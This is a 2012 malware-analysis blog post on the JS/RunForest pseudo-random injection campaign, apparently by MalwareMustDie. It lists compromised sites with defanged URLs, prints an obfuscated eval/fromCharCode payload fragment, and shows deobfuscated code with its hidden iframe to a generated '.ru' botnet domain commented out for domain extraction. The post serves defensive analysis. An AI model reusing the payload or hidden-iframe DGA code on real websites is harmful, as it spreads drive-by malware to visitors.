I am half sleepy writing this, so if I miss something please kindly forgive..
BACKGROUND
1. The research material (as per infected ITW/Pseudo Random sites data on Oct 5-6, 2012)
I found the three type of the obfuscation method used based on the original PseudoDrandom or JS/runforestrun?xxx= in the wild currently actively infecting inject-able html files on every websites in internet, pls spare me and just let's call these type as A, B, C:
Type A are the latest known urls which most detection show JS/RunForest.C or JS/RunForest.C.1 The currently alive samples infection urls is as below:
h00p://www.shamballa・fr/ h00p://www.druidenwerk・de/plugins/mediabox/1.4.6/js/mediabox.js h00p://www.krrb.org・in/ h00p://saleminternet・net/ h00p://www.interasia・co.in/ h00p://pinkjizz・com/flowplayer-3.1.4.min.js (etc)Type B is the urls below, which some scanner shows JS/RunForest.Q
h00p://www.scuolalorenzini・it/ h00p://www.scuolalorenzini・it/wordpress/wp-content/themes/lorenzini6/swfobject.js/ (etc)Type C is the urls below, detected as: JS/RunForest.J
h00p://www.narcis.es/ h00p://www.narcis.es/?lang=en2. The fact that obfuscation level is a bit increasing..
Type A is using new obfuscation code like below:
＜script＞/*km0ae9gr6m*/window.eval(String.fromCharCode(116,114,121,123,112 2,101,37,50,59,125,99,97,116,99,104,40,97,115,100,41,123,120,61,50,59,125,1 ,111,99,117,109,101,110,116,91,40,120,41,63,34,99,34,43,34,114,34,58,50,43, : 1,63,34,67,111,100,101,34,58,34,34,41,59,102,111,114,40,59,49,55,55,54,45 61,49,41,123,106,61,105,59,105,102,40,101,41,115,61,115,43,114,91,102,114 11,100,101,34,58,49,50,41,93,40,40,119,91,106,93,47,40,53,43,101,40,34,10 25,10,105,102,40,102,41,101,40,115,41,59,125,10));/*qhk6sa6g1c*/＜/script＞Which uncrackable by automatic tools without using modification..

While if you see the deobfuscated code closely you'll about to sure 99% that malwares did these injection. So.. we should CRACK it, manually. Deobfuscating stuff like this is faster to do it offline, use any SpiderMonkey base javascript emulator to see the flow and play with some string which cannot be run well and changed it with whatever variable accepted, and with luck you'll come to the first deobfuscation like this ---->>[HERE] The upper one is a one line code resulted by deobfs and the next part is - the readable format of it. So we have another deobfuscation level, so let's crack it again and you'll get the Pseudorandom code like this --->>[HERE] So we know this is the Pseudorandom code now, to go to payload just solved the code.. The key is in the randomized domain as per coded in IFRAME part in this line↓ifrm.setAttribute("src", "http://"+domainName+"/runforestrun?sid=botnet2");If we get the var domainName then we will sleep soon! This is my trick, the easy way; change the IFRAME part to look like this:try{ var unix = Math.round(+new Date()/1000); var domainName = generatePseudoRandomString(unix, 16, 'ru'); document.write(domainName); //←THIS IS ADDED!!! // ifrm = document.createElement("IFRAME"); // ifrm.setAttribute("src", "http://"+domainName+"/runforestrun?sid=botnet2"); // ifrm.style.width = "0px"; // ifrm.style.height = "0px"; // ifrm.style.visibility = "hidden"; // document.body.appendChild(ifrm); }catch(e){}↑Explanations:1. Remove all functions related to the browser object, 2. Comment the ifrm object, and focus to see result of domainName by feeeding it up drectly to generatePseudoRandomString 3. Use the document.write command to burp domainName's valueBelow is my deobfs tools, a proof of burping domain name:The code resulted to xiwlnutkxsqxwjge.ru which figuring the below malicious url used in the malicious IFRAME:
h00p://xiwlnutkxsqxwjge.ru/runforestrun?sid=botnet2Notes:1. If you use jsunpack, it cracked inly the first level of the code.. 2. If you use ****wet for example, it will be freezed, so dont do it until they update the engine to avoid the freezing..!!NEW!! Additionals - PseudoRandom Logic Cracking #Tool With the team effort in #MalwareMustDie, with the contribution of anonymous researchers we are releasing the template to crack the JS/Runforrest a.k.a. PseudoRandom with the below "Neutralized" source code which can be used as ultimate code to crack PseudoRandom Infected Target URL, we call it "F*ck the dumbass" Script" :-)HOW TO USE This tool: 1. You can copy this code locally and save it as HTML file, 2. Edit the contents of function generatePseudoRandomString, RandomNumberGenerator, and nextRandomNumber with the value you got during De-obfuscation 3. Run the HTML locally via your browser like screenshot below:F*ck the dumbass ↑And click that button 4. The tool will calculate the time based random and burp you with the current value immediately as per below snapshot:
